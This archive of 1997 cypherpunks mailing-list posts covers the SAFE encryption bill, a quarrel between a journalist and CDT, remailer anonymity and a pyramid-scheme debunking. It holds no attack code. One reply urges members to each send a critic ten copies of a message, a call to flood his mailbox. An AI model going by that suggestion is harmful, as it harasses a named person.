House Telecom Subcommittee Chmn. Tauzin (R-La.), who had
tried to find compromise before markup, said after evening
session that there would have to be more compromises.  He
proposed amendment to set up 5-member commission that would
have 180 days to study encryption and make recommendations.
 Tauzin said that "something will have to be worked out
that satisfies law enforcement."  He said "we're not
finished" with bill, said it was possible that study
proposal could emerge as compromise if no other agreement
could be reached:  "Just like there's no predicting where
the technology will be, there's no predicting where this
will end up."

[...]

Oxley said Thurs. his amendment lost because:  "The
Commerce Committee was being the Commerce Committee."  In
protecting its jurisdiction, with eye toward electronic
commerce, legislators paid attention to computer industry,
including Gates, he said.  However, he said "the bill isn't
going anywhere" unless law enforcement and national
security concerns are addressed.  Oxley said he hadn't
asked Solomon to hold up legislation, noting that
Intelligence and National Security panel bills have
provisions "stronger than mine."

[...]



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 26 Sep 1997 23:05:32 +0800
To: cypherpunks@toad.com
Subject: CDT complains to my editors after post to cypherpunks
Message-ID: <v03007811b05179a2663f@[204.254.22.23]>
MIME-Version: 1.0
Content-Type: text/plain



[CDT's Jonah Seiger copied this message to my editors. I'm still waiting
for him to answer my questions. --Declan]

---

Subject:
            Re: The Commerce committee votes are up at crypto.com
       Date:
            Fri, 26 Sep 1997 10:29:17 -0400
      From:
            Jonah Seiger <jseiger@cdt.org>
        To:
            Declan McCullagh <declan@well.com>


Declan --

If you are curious about what it is about your style that bothers CDT so
much, start with this hostile, accusitory message posted to a public list
(in this case, cypherpunks).

This message is not a question -- it's an attack.  It assumes the answer
before it's asked, and it's nothing more than read meat thrown to a hungry
crowd.

If you have questions about how we set up the site, or how we feel about
the results of Wednesday's Commerce Committee vote, all you have to do is
contact us.  We will be happy to talk to you.  This is the way every other
journalist we work with operates.

Unfortunately, your pattern is different. I would have thought that after
last week's unfortunate incident you would have learned something.  Perhaps
I was assuming too much.

Jonah

At 11:19 PM -0400 9/25/97, Declan McCullagh wrote:
>Thanks, Shabbir, for putting this vital information online. But I'm a
>little puzzled. I fear the CDT/VTW crypto.com web site may be misleading.
>
>You say, for instance, that opposing SAFE yesterday was a vote "against
>Internet privacy" and "against passing the SAFE bill out of committee."
>That's not true. The Markey-White-amended bill the committee approved
>yesterday was not the SAFE bill. It was a deviant version with important
>differences from SAFE.
>
>The Markey-White amendment includes: the doubled crypto-in-a-crime
>penalties (10-20 years!), the sop to eventual mandatory key recovery by
>including liability immunity for turning over keys to the Feds or the
>sheriff of Podunk County, the bogus NETcenter that effectively gives the
>NSA a statutory basis for domestic evildoing, etc. (Markey wanted to take
>credit for killing the original SAFE. He told the Washington Post "after
>the vote" that the original, better, Goodlatte SAFE "no longer exists as a
>political option." That's right -- thanks to his own amendment...)
>
>The second and third votes are essentially the same: should the above
>provisions be in the Commerce committee of the bill. But why do you avoid
>taking a position on whether the second vote on Markey-White was good or
>bad?
>
>If the second description was to avoid taking a position on Markey-White,
>it doesn't work. You say in your third description that a vote for the
>amended Markey-White bill was a good one. Why would CDT/VTW endorse such
>disturbing legislation? (And not admit it?) To what extent was CDT/VTW
>involved in drafting Markey-White and to what extent did you encourage
>committee members to vote for it?
>
>Also, the description for the third vote is misleading by itself. It just
>says "report SAFE" when it should say "report SAFE with Markey-White
>provisions" out of committee.
>
>And, given these problems with Markey-White, why is the CDT/VTW crypto.com
>site counting a vote for the Markey-White-amended bill as a vote for
>"Internet privacy?" I should think that given the problems -- such as
>doubling of crypto-in-a-crime and sop towards mandatory key recovery --
>that a vote against the Markey-White-amended bill is a //good// vote, not
>one against Net-privacy.
>
>If a legislator wanted to vote for Internet freedom and reject deviant
>bills, he should have voted against Oxley, Markey-White, and against
>passing the bill with Markey-White out of committee yesterday. (That would
>have left the cleaner Judiciary committee version of SAFE as a more likely
>option.) Rep. Brown, for instance, did just that -- yet you tar him as
>against Internet freedoms.
>
>Go figure.
>
>-Declan
>
>
>crypto.com says:
>
>>Voted in favor of Internet privacy at the full
>>Commerce committee vote on Sep 24 1997. This vote was
>>against attaching the Oxley-Manton 'Big Brother'
>>amendment to SAFE.
>>
>>Voted against the Markey-White amendment at the full
>>Commerce committee vote on Sep 24 1997. The vote was
>>against attaching the Markey-White amendment to SAFE.
>>
>>Voted against Internet privacy at the full Commerce
>>committee vote on Sep 24 1997. The vote was against
>>passing the SAFE bill out of committee.
>
>
>
>At 17:56 -0400 9/25/97, Shabbir J. Safdar wrote:
>>Last night's votes on SAFE in the Commerce committee are in place at
>>http://www.crypto.com/member/
>>
>>Simply select the member of Congress you're curious about, either by zip code
>>or by state, and you can see how they voted in the three Commerce votes
>>last night.  Then, you can call and yell or send kudos.



* Value Your Privacy? The Government Doesn't.  Say 'No' to Key Escrow! *
            Adopt Your Legislator -  http://www.crypto.com/adopt

--
Jonah Seiger, Communications Director              (v) +1.202.637.9800
Center for Democracy and Technology              pager +1.202.859.2151
<jseiger@cdt.org>
                                                    PGP Key via finger
http://www.cdt.org
http://www.cdt.org/homes/jseiger







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Sat, 27 Sep 1997 02:42:31 +0800
To: Lucky Green <shamrock@cypherpunks.to>
Subject: Re: Chutzpah! FBI Calls Privacy Extremists Elitist
In-Reply-To: <Pine.BSF.3.96.970926095550.24829B-100000@pakastelohi.cypherpunks.to>
Message-ID: <Pine.SUN.3.91.970926105014.5166B-100000@crl.crl.com>
MIME-Version: 1.0
Content-Type: text/plain



~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Folks,

On Fri, 26 Sep 1997, Lucky Green wrote:

> Somebody please tell me that this is a forged quote.... We are now
> "privacy extremists"? What's next? "Privacy militia"?

I wouldn't expect anything less from a "surveillance extremist."


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 27 Sep 1997 01:55:59 +0800
To: cypherpunks@toad.com
Subject: Re: CDT complains to my editors after post to cypherpunks
In-Reply-To: <v03007811b05179a2663f@[204.254.22.23]>
Message-ID: <mo0mDe1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh <declan@well.com> writes:
> Declan --
> 
> If you are curious about what it is about your style that bothers CDT so
> much, start with this hostile, accusitory message posted to a public list
> (in this case, cypherpunks).

Declan forged quotes from me in his nutly news piece about Gilmore pulling
my plug.

Also, seeing much traffic cross-posted between cypherpunks and the fight-
censorship list, I sent a subscribe request to majordomo@vorlon.

I got back a robotic response saying Declan is reviewing my request...
Then nothing.  Apparenttly Declan doesn't want me reading his list.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 27 Sep 1997 02:37:51 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Remailer Attack
In-Reply-To: <v03102801b050a29e2f1f@[207.167.93.63]>
Message-ID: <Pine.LNX.3.91.970926111053.1522A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> * increased traffic at all levels

Cover traffic bots are, to my knowledge, not yet implemented in any of 
the "eze-remailer (tm)" software packages like private idaho etc... Maybe 
this is a feature to think about for their authors for future revisions???

> * a profit motive for remailers, using "digital postage" (though this may
> work against the second point, having more traffic)

I have never thought this was a good idea, commercialising the remailer 
market, and indeed any market, not only gives a further incentive for 
government intervention but also allows for the remailer operators to be 
prosecuted for content more easily, providing a free service allows one 
to claim "common carrier" status more eaily.

> * more chaining tools for average users (on Windows and Macintosh machines,
> using standard mailers)

Yes, private idaho is an excellent package, but many users do not want 
the extra work of setting up another mailer which, in the buggy windoze 
environment may even lead to clashes and other such nastiness. 
Integration into mailers such as pegasus and eudora would be nice, I`m 
sure there must be a plugin for eudora by now but I`m pretty sure there 
is no such plugin for pegasus. 

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 27 Sep 1997 13:12:16 +0800
To: cypherpunks@Algebra.COM
Subject: FCC Proposes V-Chip Requirements for TV Manufacturers
Message-ID: <3.0.3.32.19970926112044.00729ff8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



The FCC yesterday proposed rules that would give television manufacturers
until
July 1 1998 to put V-Chips in half of new TV sets with monitors 13 inches
or larger,
and in all sets by July 1, 1999.  Reed Hundt said that this will
"ensure that V-Chip technology does in fact exist in a relatively short
period of time".
Industry officials protested that the time limit is way too short for
manufacturers,
saying they need 18 months - 2 years.  Comment period runs until November.

Meanwhile, some of the major TV networks are going to a more detailed
rating system,
Sex/Violence/Language/SuggestiveDialog, with a FantasyViolence category for
kids' shows.
NBC is resisting that.
				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 27 Sep 1997 02:50:05 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Stupid warnings about "unsolicited e-mail"
In-Reply-To: <v03102805b050f8e774c5@[207.167.93.63]>
Message-ID: <Pine.LNX.3.91.970926112055.1522B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> (P.S. I did not "solicit" your e-mail to me....and my fee is 10 ounces of
> gold, payable immediately.)

Flesh is always a better form of payment I find.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Pascal Mayani <mayani@ingenia.fr>
Date: Fri, 26 Sep 1997 18:30:19 +0800
To: intofild@aol.com
Subject: Re: Its working read this, give it a chance
Message-ID: <1.5.4.32.19970926095101.0069ca18@100.1.4.25>
MIME-Version: 1.0
Content-Type: text/plain



Ouais c'est vieux comme le monde le principe: ca s'appelle une pyramide et
il n'y a que le gars en haut qui se fait un sacre pactole. En plus c'est
parfaitement illegal.

And now, ladies & gentlemen, let's talk in english :

Hello suckers of *intofild@aol.com*,

This nice principle of sending money to the last name on a list through
the INTERNET is the ultimate variation of the pyramidal game...
First before carrying on with the demonstration, people should know that
this kind of "gime your money you sucker, I'll know how to use it" is
illegal in most industrial countries...

You can't win for a very good reason. This game can be seen as a pyramid :

					 The chief
					   / | \
				     a few accomplices
					////||||\\\\
				suckers sending their money

As you can see, the only people to earn money in the process are the one on
the top of this pyramid, the others just send their money to the top of it
and can hardly win a kopek.
The idea is very simple, usually on the list, you'll find unknown people
whom you would suppose to be some ordinary participants of the game, in
fact in most cases they're the accomplices or the chief himself. 

The original situation:
#1 accomplice 1
#2 accomplice 2
#3 accomplice 3
#4 chief

You send five bucks to the chief...

#1 you
#2 accomplice 1
#3 accomplice 2
#4 accomplice 3

You send your money to accomplice 3

Now you ask twenty of your friends to do so:

#1 one of your friend
#2 you
#3 accomplice 1
#4 accomplice 2

Now this people will ask friends of them to send money in their turn:

#1 a friend'a friend 
#1 one of your friend
#2 you
#3 accomplice 1

They will send money to accomplice 1...

This group of people, the accomplices and the chief will get:
20*20*20*20*5= $800 000

(And of course, it's could be more profitable, you can't know how many
people answered at the first stage).

If you hope to reach the fifth stage... Read the demonstration once again !

So don't be stupid, don't even send a peanut to these suckers...







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bruce Schneier <schneier@counterpane.com>
Date: Sat, 27 Sep 1997 01:27:36 +0800
To: cypherpunks@toad.com
Subject: S/MIME Crack?  Beware press bearing incomplete stories
Message-ID: <v03007804b0519356161e@[209.98.13.74]>
MIME-Version: 1.0
Content-Type: text/plain



What I did:  write a Windows 95 screen saver that automatically brute
forces 40-bit RC2 keys.  The screen saver is has an easy interface, and
parallizes nicely.

What I didn't do:  break S/MIME.  I did not find any flaw in the S/MIME
security specification.  I did not find any flaw in any of the cryptographic
algorithms used.  I did not find any flaw in any software implementation
of S/MIME.  There is nothing wrong with the S/MIME standard.

What I find, though, is that many S/MIME implementations don't interporate
at anything stronger than 40-bit RC2.  I find that the default encryption
is 40-bit RC2, and the user isn't given any indication that the encryption
level should be changed.

40-bit RC2 is weak.  This is nothing new to anyone who reads the S/MIME
specifications. In fact, the S/MIME specification is very forthcoming in
discussing security of 40-bit RC2.

> 2.6 ContentEncryptionAlgorithmIdentifier
>
> Receiving agents MUST support decryption and encryption using the RC2
> algorithm [RC2] at a key size of 40 bits, hereinafter called "RC2/40".
> Receiving agents SHOULD support decryption using DES EDE3 CBC,
> hereinafter called "tripleDES".
>
> Sending agents SHOULD support encryption with RC2/40 and tripleDES.

Later in the spec, the following appears:

> Before sending a message, the sending agent MUST decide whether it is
> willing to use weak encryption for the particular data in the message.
> If the sending agent decides that weak encryption is unacceptable for
> this data, then the sending agent MUST NOT use a weak algorithm such
> as RC2/40. The decision to use or not use weak encryption overrides
> any other decision in this section about which encryption algorithm to
> use.

And even later:

> 2.6.2.3 Rule 3: Unknown Capabilities, Risk of Failed Decryption
>
> If:
>  - the sending agent has no knowledge of the encryption capabilities
>    of the recipient,
>  - and the sending agent is willing to risk that the recipient may
>    not be able to decrypt the message,
> then the sending agent SHOULD use tripleDES.
>
> 2.6.2.4 Rule 4: Unknown Capabilities, No Risk of Failed Decryption
>
> If:
>  - the sending agent has no knowledge of the encryption capabilities
>    of the recipient,
>  - and the sending agent is not willing to risk that the recipient
>    may not be able to decrypt the message,
> then the sending agent MUST use RC2/40.

And:

> 2.6.3 Choosing Weak Encryption
>
> Like all algorithms that use 40 bit keys, RC2/40 is considered by many
> to be weak encryption. A sending agent that is controlled by a human
> SHOULD allow a human sender to determine the risks of sending data
> using RC2/40 or a similarly weak encryption algorithm before sending
> the data, and possibly allow the human to use a stronger encryption
> method such as tripleDES.

I wrote this screen saver not to trash S/MIME (even though the announcement
was used by another company), but to 1) illustrate that 40-bit RC2 really
is insecure, and 2) try to force companies who implement S/MIME to get
DES and triple-DES to interoperate.  I heard recently that RSADSI has said
there is a triple-DES message on their website that can be understood by
both Microsoft Internet Explorer and Netscape Communicator.  I don't know
about the message, but when I tried to get DES and triple-DES to interoperate
a few months ago I couldn't.

Bruce

**********************************************************************
Bruce Schneier, President, Counterpane Systems     Phone: 612-823-1098
101 E Minnehaha Parkway, Minneapolis,MN  55419       Fax: 612-823-1590
                                            http://www.counterpane.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fisher Mark <FisherM@exch1.indy.tce.com>
Date: Sat, 27 Sep 1997 01:30:58 +0800
To: Martin Minow <spector@zeitgeist.com>
Subject: RE: Chutzpah! FBI Calls Privacy Extremists Elitist
Message-ID: <2A22D88740F0D01196BD0000F840F43F954F2F@tceis5.indy.tce.com>
MIME-Version: 1.0
Content-Type: text/plain



>I believe the enlightened Legislator who attempted to legislate Pi was
>none other than Jesse Helms (although this could be a legislative
>myth!) and when Ol'Jesse proposed it (because he was "sick of all these
>egg-heads with their big numbers") John Glenn said something on the
>order of ' if your legislation passes Senator, I wouldn't want to
>driver over any bridges in your state!'

Alas (according to my failing memory) it was legislator from my home
state of Indiana during the early part of this century, who had planned
to make a killing in textbooks if Pi == 3.0 was accepted.  Fortunately
he was called on it when it went before the whole legislature.


I just have to wonder, how much of what we hear from various LEAs is due
to the political desires of the people doing the talking -- I'd suspect
that a majority of line officers (or the majority of those who are
informed on the topic) would have something quite different to say.  "In
a confusing situation, follow the money.  If there isn't any money,
follow the power."  Domestic crypto controls just fall _way_ too easily
into the trap of increased state power (vs. the actual percentages of
crimes whose investigations are impeded by crypto) to make me think that
this is anything other than just a blatant political move on the part of
the LEA managers.
==========================================================
Mark Leighton Fisher          Thomson Consumer Electronics
fisherm@indy.tce.com          Indianapolis, IN
"Their walls are built of cannon balls, their motto is 'Don't Tread on
Me'"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Sat, 27 Sep 1997 00:28:05 +0800
To: minow@apple.com
Subject: pi == 3 [was: Re: Chutzpah! FBI Calls Privacy Extremists Elitist
Message-ID: <199709261607.JAA03899@rigel.cyberpass.net>
MIME-Version: 1.0
Content-Type: text/plain



> From:          David HM Spector <spector@zeitgeist.com>

> Re: Pi.... 
> 
> I believe the enlightened Legislator who attempted to legislate Pi was
> none other than Jesse Helms (although this could be a legislative
> myth!) and when Ol'Jesse proposed it (because he was "sick of all these
> egg-heads with their big numbers") John Glenn said something on the
> order of ' if your legislation passes Senator, I wouldn't want to
> driver over any bridges in your state!'

> _DHMS

Not Helms, and not recently. From 'Extraordinary Pi',
http://www.users.globalnet.co.uk/~nickjh/Pi.htm :

     Indiana State Legislature House Bill No. 246, 1897, set the value of
     Pi to a to 3. Duh !

     Actually the wording of the bill is really unclear and can
     interpreted in various ways. Other interpretations include 3.2, 4
     and 9.2376. The bill goes on in a confused way to contradict
     other areas of elementary geometry, and to contradict itself. It
     got passed all the way up to Senate level, then a Mathematics
     Professor noticed it by chance, informed the Senate, and it was
     posponed indefinitely at its second reading.

Peter Trei





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: rarab@buffnet.net
Date: Sat, 27 Sep 1997 00:46:55 +0800
To: cypherpunks@toad.com
Subject: clean machine
Message-ID: <3.0.32.19970926122501.0069eb50@buffnet.net>
MIME-Version: 1.0
Content-Type: text/plain



Can anyone tell me if a person could expect to encounter any difficulty
with US Customs if they leave the US with PGP on a lap top machine? Would
you be questioned about the contents of your machine? Would you be obliged
to demonstrate that the machine was "clean" before it would be permitted to
leave the country? Would a person be compelled to divulge the contents of
any floppy disks in their possession before leaving the country with them?

Perhaps the prudent thing to do is download PGP to your machine after
leaving the US.
I must take a decision on this matter in a few months. Any advice would be
appreciated.

Cordially, rarab





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 27 Sep 1997 01:36:24 +0800
To: fight-censorship@vorlon.mit.edu
Subject: ACLU opposes deviant Markey-White version of SAFE
Message-ID: <v0300781bb0519d76d446@[204.254.22.23]>
MIME-Version: 1.0
Content-Type: text/plain



The House Commerce committee approved the deviant Markey-White amendments
as a "compromise" package.

Note: "It is now clear that any version of this bill will be used to attack
domestic encryption protection."

-Declan

-----------

FOR IMMEDIATE RELEASE   Contact: Emily Whitfield (212) 549-2566
Thursday, September 25, 1997    Phil Gutis (202) 675-2312

WASHINGTON -- Citing civil liberties concerns, the House Commerce Committee
late yesterday overwhelmingly beat back an attempt by law enforcement to
hijack what had been introduced as a pro-privacy encryption bill.

The American Civil Liberties Union, which supported the original version of
 H.R. 695, the Security and Freedom through Encryption Act ("SAFE") applauded
the committee's action, but said it could not support the new version of
SAFE, which contains a new set of civil liberties problems.

"We survived the hijacking only to find that we are still in enemy
territory," said Donald Haines, Legislative Counsel on privacy and cyberspace
issues for the ACLU's Washington National Office. "It is now clear that any
version of this bill will be used to attack domestic encryption protection.
Therefore, the ACLU strongly opposes bringing any encryption legislation to
the floor at this time."

The amendment that was rejected yesterday sought to reverse the original
intent of SAFE, a bill that would ease controls on export of strong
encryption technology.  Sponsored by Reps. Michael Oxley, R-OH, and Thomas
Manton, D-NY, it would have given law enforcement agencies easy access to
every private computer file, e-mail, telephone conversation, and online
communication in America. By providing this "backdoor" for law enforcement,
the ACLU said the amendment would leave a door open to others seeking
unauthorized access to private communications.

But in rejecting the law enforcement power grab, the Committee essentially
re-wrote the SAFE bill, adopting amendments that would:

¨ Establish a "codebreaking" center for law enforcement that would improperly
involve the National Security Agency (NSA) in domestic affairs.
¨ Reinstate an objectionable provision in the original SAFE bill that would
criminalize, for the first time ever, the use of domestic encryption.
¨ Double the penalties for criminal use of encryption, up to a maximum of 20
years in prison.
¨ Provide immunity for anyone who turns over encryption "keys" to law
enforcement, setting the stage for a mandatory "back door" for law
enforcement access to private files and communications.

"We were heartened that privacy and free speech were cited by so many
committee members as the reason why the FBI amendment had to be rejected,"
Haines said. "We now call upon all members of the House to take these
fundamental civil liberties into account in considering any bill addressing
the use of encryption."

With yesterday's vote, the last of five versions of the SAFE bill may now
proceed to the House Rules Committee for a decision on how the bill will be
presented to the House.  The chairman of that committee, Gerald Solomon,
R-NY, has vowed publicly to block any version of SAFE that does not have the
Oxley-Manton amendment.

In a letter sent to members of the Commerce Committee yesterday, the ACLU
joined a broad spectrum of groups in calling for "no compromise on privacy
protection by encryption." The letter urged the members to oppose the
Oxley-Manton amendment, as well as  any  attempts to limit the right of all
Americans to get and use whatever encryption protection they want.

The letter was signed by the ACLU, Americans for Tax Reform, The Eagle Forum,
Electronic Privacy Information Center, Privacy International and the United
States Privacy Council.

"All efforts, direct and indirect, to restrict our right to the greatest
possible privacy protection must be rejected," Haines said.  "Whether you are
sending sensitive corporate documents or your family's travel plans, you have
a right to speak privately."

The last three committees to act on SAFE (National Security, Intelligence and
Commerce) have all added anti-privacy provisions, while bills from the
Judiciary and International Affairs committees lack provisions to protect
First Amendment rights in the the use of encryption.  Both those bills also
contain the criminalization provision present in the other bills, although
without the even stiffer penalties added to the new version of SAFE.

A group of leading scientific, educational and engineering organizations also
voiced their opposition yesterday to any legislation imposing strict domestic
controls on encryption.   The groups said that the amendment would have a
"grave effect" on cryptographic research in the United States, and  could
also negatively impact U.S. commerce while benefiting overseas companies not
subject to controls.

Encryption programs scramble information so that it can only be read with a
"key" -- a code the recipient uses to unlock the scrambled electronic data.
As more of our messages are sent via computers, digital switches, and
wireless phones, they must be encrypted, otherwise our messages can be seized
and read by others.

There are no laws that now prohibit using as strong encryption as possible
inside the United States. But, unless keys are made available to the
government, the Clinton Administration bans export of encryption equipment
and software, treating the products as "munitions."

In response to these continued attacks on privacy rights, the ACLU this
summer launched Take Back Your Data!, a nationwide citizen campaign to fight
for legal reforms to privacy laws and resist further encroachments on the
right to privacy.  Through its website at www.aclu.org, the ACLU urges
visitors to contact their elected officials and voice support for or
opposition to pending legislation.

In addition, the ACLU said that it is drafting omnibus privacy legislation
that would, if adopted, fulfill the basic goals of the Take Back Your Data!
campaign.  The legislation will be unveiled later this fall, followed by a
broad-based effort to encourage members of Congress to co-sponsor the
legislation.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alex de Joode <usura@sabotage.org>
Date: Fri, 26 Sep 1997 19:50:27 +0800
To: cypherpunks@ssz.com
Subject: Re: Remailer Attack
Message-ID: <199709261114.NAA25455@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous sez:


: According to Raph's remailer stats, the remailers have widely varying
: latencies.  Given that only a few remailers have latencies which are
: acceptably low, the list of usable remailers is quite low.

: If the user of the remailer, Monty Cantsin for example, signs his
: messages, a fairly accurate measure of total transit time is obtained.
: The total transit time gives clues to the remailers which were
: actually used in the chain.  In an of itself, this may not comprise
: the user, but combined with other weaknesses it will cause the
: attacker to be significantly more confident of identification
: hypotheses.

: The remailers should all have about the same latency.  0 seconds seems
: like a good Schelling point.  What would it take to reduce remailer
: latency to under 60 seconds for most of the remailers?  Do people need
: old 486s to dedicate to the task?  Do they need money?  Better
: software?


Most remailers support a feature called 'latency', so one can
choose the latency one desires for a message.

ie:

::
Anon-To: username@host-name-here.nl
Latency: +00:00

This message will be remailed imediately, no queing etc.

--
  Alex de Joode | usura@SABOTAGE.ORG | http://www.sabotage.org
	Sabotage Internet: Your Internet Problem Provider.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sat, 27 Sep 1997 01:49:24 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailer Attack
Message-ID: <518a11cd897fab49c5c65badb848d348@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Robert A. Costner wrote:
>At 03:03 AM 9/26/97 -0400, Monty Cantsin wrote:
>>Right now it's [the remailer network] sort of usable, but only for the
>>dedicated, and there aren't many of us.  I seem to be the only
>>persistent authenticated nym who posts with any frequency.
>...
>>One problem with operating a nym is that people almost always respond
>>to it with suspicion and hostility, even on this list.  It would be
>>nice to have an ordinary looking e-mail address that took in messages,
>>encrypted them for your public key, and then sent them out to
>>alt.anonymous.messages for pickup.  Going the other way it would be
>>nice if the account would accept signed messages and send them out as
>>normal e-mail or news articles.  This would allow nyms to participate
>>in NetWorld like everyone else.
>
>Your desired functionality seems to be describing the operation of a nym
>server, which you are not using.

No, the nym servers differ in two important ways.

1. They use a reply block so your true identity lies encrypted beneath
the public keys of several remailers.  I would rather the message went
to alt.anonymous.messages.  (I guess this could be jury-rigged by
supplying a reply block which sends the messages to a Usenet gateway.)

Didn't the weasel remailer operator recently move his accounts over to
redneck because of police interest?  Weren't we reassured that no
identities were revealed and that they wouldn't be revealed?  That
should be a good illustration of the weakness of a reply block to an
ordinary e-mail address.

Also, by my reading of the "uptime" statistic in Raph's remailer
chart, a reply block is not going to be very reliable for receiving
mail.  Are there any nyms out there using the nym servers who will
endorse the reliability of reply blocks?  Would you run a business
using them?

2. The nym servers advertise that the accounts are nyms through the
choice of domain names.  So, presumably, people will respond with the
same hostility that they respond to any other anonymous message. 

I presume the remailer operators want to minimize the number of times
somebody is defrauded through an anonymous account.  But, by the same
logic, ISPs should carefully identify their customers the same way a
bank does.  E-mail addresses should not be used as an authentication
method.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBNCvO2paWtjSmRH/5AQEuFQf5AUPisKJypoHrU7H2Oi8bbs2GSBP+IvS3
iQJd+JO7rQv6h8rZ/qPKrgZOViAz95xNCVHLabQsIZKPJxxhjV94obu5k2+QW06S
i7PrsQM9y4+G611Cej5ND2axo9yDxprOV3/IQ/VuXvmXxyK8Xeg4Wt7GD/Skatc9
dVvTwPCD523tZJeYvKSq9l4AE/Gum+7LTEmWewz36dOm9dNokrRLcM3IqDhzhigW
np9tFPxwdrVy2AEDl8RCg8oAVzJt1sjW7CytuCK3kOyeh9hF0NlcSgE+BtMoVoqW
IhMVVeD4pMjeHWohAfyTuEEzDRPkNdBf/9YUulik+aMkR4TWnXUG+A==
=xYd9
-----END PGP SIGNATURE-----







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Fri, 26 Sep 1997 21:40:17 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Remailer Attack
In-Reply-To: <7e4f533938c10942e5d1ef49ca8e16da@anon.efga.org>
Message-ID: <m0xEYrc-0003bFC@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain



> One problem with operating a nym is that people almost always respond
> to it with suspicion and hostility, even on this list.  It would be
> nice to have an ordinary looking e-mail address that took in messages,
> encrypted them for your public key, and then sent them out to
> alt.anonymous.messages for pickup.  Going the other way it would be
> nice if the account would accept signed messages and send them out as
> normal e-mail or news articles.  This would allow nyms to participate
> in NetWorld like everyone else.
> 
> Note that this does not require one to trust the operator of the
> machine - all they have is a public key and no information of your
> identity.  This should be easy to set up.

That is what nym servers (denoted as "alpha" and "newnym" in the
remailer lists) do.  See http://anon.efga.org/anon for more
information.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sat, 27 Sep 1997 04:23:13 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: CDT complains to my editors after post to cypherpunks
In-Reply-To: <mo0mDe1w165w@bwalk.dm.com>
Message-ID: <Pine.A41.3.95.970926135627.51192C-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 26 Sep 1997, Dr.Dimitri Vulis KOTM wrote:

Declan is smart.

I think Vulis needs each of us to send ten copies of this back to him.

Do you understand why now.


> Declan McCullagh <declan@well.com> writes:
> > Declan --
> > 
> > If you are curious about what it is about your style that bothers CDT so
> > much, start with this hostile, accusitory message posted to a public list
> > (in this case, cypherpunks).
> 
> Declan forged quotes from me in his nutly news piece about Gilmore pulling
> my plug.
> 
> Also, seeing much traffic cross-posted between cypherpunks and the fight-
> censorship list, I sent a subscribe request to majordomo@vorlon.
> 
> I got back a robotic response saying Declan is reviewing my request...
> Then nothing.  Apparenttly Declan doesn't want me reading his list.
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 

